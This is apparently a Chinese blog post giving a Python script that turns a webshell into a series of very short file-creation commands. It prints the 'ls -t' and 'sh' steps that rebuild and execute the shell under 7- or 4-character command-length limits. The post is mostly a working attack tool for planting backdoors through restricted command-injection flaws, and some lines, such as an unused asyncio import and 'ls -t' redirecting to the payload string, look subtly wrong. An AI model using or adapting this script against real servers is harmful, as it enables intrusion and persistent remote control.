- 本篇是上一篇<<字符长度限制下的命令执行>>的脚本,实现将简单代码拆分成文件创建指令实现写马
脚本
from asyncio.proactor_events import _ProactorBaseWritePipeTransport
import base64
a=input("请输入木马(不要换行):\n")
a=(base64.b64encode(a.encode('utf-8'))).decode()
#print(a)
b=input("请输入最终生成的webshell文件名:\n")
a="echo "+a+"|base64 -d>"+b
#print(a)
miao=''
b=input("7字符限制请输入0回车,4字符限制请输入1回车:\n")
for ch in a[0:-1]:
#print(ch)
if(ord(ch)>=48 and ord(ch)<=57):
miao=">"+ch+"\\\\"+"\n"+miao
elif(ord(ch)>=65 and ord(ch)<=90):
miao=">\\"+ch+"\\\\"+"\n"+miao
elif(ord(ch)>=97 and ord(ch)<=122):
miao=">\\"+ch+"\\\\"+"\n"+miao
elif(ord(ch)==32):
miao=">\\{\\\n"+">\\S\\\n"+">\\F\\\n"+">\\I\\\n"+">\\}\\\n"+">\\$\n"+miao
else:
miao=">\\"+ch+"\\\\"+"\n"+miao
miao=">"+a[-1]+"\n"+miao
if(b=='0'):
print("文件生成部分:")
print(miao)
c=input("请输入shell名:\n")
print("ls -t>"+a)
print("shell语句:")
print("sh "+a)
if(b=='1'):
print("写马生成部分")
print('>dir\n>f\\>\n>ht-\n>sl\n>*>v\n>rev\n*v>0\n')
print("文件生成部分")
print(miao)
print("shell语句:")
print("sh 0")
print("sh f")